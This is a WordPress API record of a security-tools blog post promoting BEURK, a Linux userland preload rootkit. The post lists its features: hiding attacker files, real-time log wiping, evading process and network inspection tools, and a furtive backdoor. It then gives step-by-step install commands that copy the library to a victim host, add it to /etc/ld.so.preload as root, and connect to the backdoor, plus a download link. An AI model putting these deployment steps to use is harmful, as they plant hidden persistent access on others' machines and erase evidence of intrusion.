{"id":4502,"date":"2017-04-23T00:31:48","date_gmt":"2017-04-22T16:31:48","guid":{"rendered":"https:\/\/www.darknet.org.uk\/?p=4502"},"modified":"2017-04-23T00:33:58","modified_gmt":"2017-04-22T16:33:58","slug":"beurk-linux-userland-preload-rootkit","status":"publish","type":"post","link":"https:\/\/www.darknet.org.uk\/2017\/04\/beurk-linux-userland-preload-rootkit\/","title":{"rendered":"BEURK &#8211; Linux Userland Preload Rootkit"},"content":{"rendered":"<p>BEURK is an userland preload rootkit for GNU\/Linux, heavily focused around anti-debugging and anti-detection.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.darknet.org.uk\/wp-content\/uploads\/2017\/04\/BEURK-Linux-Userland-Preload-Rootkit-640x341.png\" alt=\"BEURK - Linux Userland Preload Rootkit\" width=\"640\" height=\"341\" class=\"aligncenter size-medium wp-image-4503\" srcset=\"https:\/\/www.darknet.org.uk\/wp-content\/uploads\/2017\/04\/BEURK-Linux-Userland-Preload-Rootkit-640x341.png 640w, https:\/\/www.darknet.org.uk\/wp-content\/uploads\/2017\/04\/BEURK-Linux-Userland-Preload-Rootkit.png 644w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/p>\n<p>Being a userland rootkit it gives limited privileges (whatever the user has basically) vs a superuser or root level rootkit.<\/p>\n<h3>Features<\/h3>\n<ul>\n<li>Hide attacker files and directories<\/li>\n<li>Realtime log cleanup (on utmp\/wtmp)<\/li>\n<li>Anti process and login detection<\/li>\n<li>Bypass unhide, lsof, ps, ldd, netstat analysis<\/li>\n<li>Furtive PTY backdoor client<\/li>\n<\/ul>\n<script async src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js?client=ca-pub-3033787195489589\"\r\n     crossorigin=\"anonymous\"><\/script>\r\n<!-- Darknet Responsive Post Ad Links [previously link ad unit] -->\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block\"\r\n     data-ad-client=\"ca-pub-3033787195489589\"\r\n     data-ad-slot=\"5456620019\"\r\n     data-ad-format=\"auto\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script>\n<h3>Usage<\/h3>\n<h4>Compile<\/h4>\n<pre>git clone https:\/\/github.com\/unix-thrust\/beurk.git\r\n    cd beurk\r\n    make<\/pre>\n<h4>Install<\/h4>\n<pre>scp libselinux.so root@victim.com:\/lib\/\r\n    ssh root@victim.com 'echo \/lib\/libselinux.so >> \/etc\/ld.so.preload'<\/pre>\n<h4>Enjoy !<\/h4>\n<pre>.\/client.py victim_ip:port # connect with furtive backdoor<\/pre>\n<h3>Dependencies<\/h3>\n<p>The following packages are not required in order to build BEURK at the moment:<\/p>\n<ul>\n<li><strong>libpcap<\/strong> &#8211; to avoid local sniffing<\/li>\n<li><strong>libpam<\/strong> &#8211; for local PAM backdoor<\/li>\n<li><strong>libssl<\/strong> &#8211; for encrypted backdoor connection<\/li>\n<\/ul>\n<p>You can download BEURK here:<\/p>\n<p><a href=\"https:\/\/github.com\/unix-thrust\/beurk\/archive\/dev.zip\">beurk-dev.zip<\/a><\/p>\n<p>Or read more <a href=\"https:\/\/github.com\/unix-thrust\/beurk\">here<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>BEURK is an userland preload rootkit for GNU\/Linux, heavily focused around anti-debugging and anti-detection. Being a userland rootkit it gives limited privileges (whatever the user has basically) vs a superuser or root level rootkit. Features Hide attacker files and directories Realtime log cleanup (on utmp\/wtmp) Anti process and login detection Bypass unhide, lsof, ps, ldd, [&hellip;]<\/p>\n","protected":false},"author":25,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"BEURK is an userland preload rootkit for GNU\/Linux, heavily focused around anti-debugging and anti-detection, which gives limited privileges.","_seopress_robots_index":"","_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":"","footnotes":""},"categories":[6,7],"tags":[588],"featured_image_src":null,"featured_image_src_square":null,"author_info":{"display_name":"Darknet","author_link":"https:\/\/www.darknet.org.uk\/author\/darknet\/"},"_links":{"self":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/posts\/4502"}],"collection":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/users\/25"}],"replies":[{"embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/comments?post=4502"}],"version-history":[{"count":0,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/posts\/4502\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/media?parent=4502"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/categories?post=4502"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/tags?post=4502"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}